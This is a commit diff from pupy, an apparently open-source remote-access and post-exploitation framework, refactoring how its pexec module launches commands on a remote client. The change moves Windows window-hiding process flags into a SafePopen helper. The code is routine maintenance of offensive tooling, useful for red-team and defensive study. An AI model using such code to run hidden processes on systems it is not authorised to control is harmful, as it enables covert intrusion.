Make safeopen more reliable

pupy/modules/pexec.py

@@ -12,6 +12,7 @@ import re
 import stat
 import pupygen
 import tempfile
+import threading
 
 from rpyc.utils.classic import upload
 
@@ -23,7 +24,7 @@ class PExec(PupyModule):
 
     pipe = None
     completed = False
-    terminate = False
+    terminate = threading.Event()
     updl = re.compile('\^([^\^]+)\^([<>])([^\^]+)\^')
     # daemon = True
 
@@ -69,11 +70,13 @@ class PExec(PupyModule):
         to_download = []
         to_delete = []
 
-        rsubprocess = self.client.conn.modules['subprocess']
-        ros = self.client.conn.modules['os']
+        ros = None
 
         for i, arg in enumerate(cmdargs):
             for local, direction, remote in self.updl.findall(arg):
+                if not ros:
+                    ros = self.client.conn.modules['os']
+
                 if local == '$SELF$':
                     platform = self.client.platform()
                     if not platform in ('windows', 'linux'):
@@ -160,26 +163,6 @@ class PExec(PupyModule):
                     )
                 ]
 
-        if self.client.is_windows():
-            if not args.F:
-                startupinfo = rsubprocess.STARTUPINFO()
-                startupinfo.dwFlags |= rsubprocess.STARTF_USESHOWWINDOW
-                cmdenv.update({
-                    'startupinfo': startupinfo,
-                })
-        else:
-            cmdenv.update({
-                'shell': False
-            })
-            if args.s:
-                cmdargs = [
-                    'cmd.exe', '/c',
-                ] + cmdargs if self.client.is_windows() else [
-                    '/bin/sh', '-c', ' '.join(
-                        '"'+x.replace('"','\"')+'"' for x in cmdargs
-                    )
-                ]
-
         self.pipe = self.client.conn.modules[
             'pupyutils.safepopen'
         ].SafePopen(cmdargs, **cmdenv)
@@ -188,10 +171,6 @@ class PExec(PupyModule):
             self.success('Started at {}): '.format(
                 datetime.datetime.now()))
 
-        if hasattr(self.job, 'id'):
-            self.success('Started at (local:{} / remote:{}): '.format(
-                datetime.datetime.now(), rdatetime.datetime.now()))
-
         self.success('Command: {}'.format(' '.join(
             x if not ' ' in x else "'" + x + "'" for x in cmdargs
         ) if not cmdenv['shell'] else cmdargs))
@@ -243,12 +222,10 @@ class PExec(PupyModule):
             log.close()
 
         if self.pipe.returncode == 0:
-            self.success('Successful at (local:{} / remote:{}): '.format(
-                datetime.datetime.now(), rdatetime.datetime.now()))
+            self.success('Successful at {}: '.format(datetime.datetime.now()))
         else:
-            self.error('Ret: {} at (local:{} / remote:{})'.format(
-                self.pipe.returncode, datetime.datetime.now(), rdatetime.datetime.now(),
-                ))
+            self.error(
+                'Ret: {} at {}'.format(self.pipe.returncode, datetime.datetime.now()))
 
         for remote, local in to_download:
             if ros.path.exists(remote):

pupy/packages/all/pupyutils/safepopen.py

@@ -51,7 +51,20 @@ class SafePopen(object):
         self._bufsize = 8196
         self.returncode = None
 
-    def execute(self, poll_delay=0.5):
+        if hasattr(subprocess, 'STARTUPINFO'):
+            startupinfo = subprocess.STARTUPINFO()
+            startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
+            self._popen_kwargs.update({
+                'startupinfo': startupinfo,
+            })
+
+    def _execute(self, read_cb, close_cb):
+        if read_cb:
+            read_cb = rpyc.async(read_cb)
+
+        if close_cb:
+            close_cb = rpyc.async(close_cb)
+
         returncode = None
         try:
             kwargs = self._popen_kwargs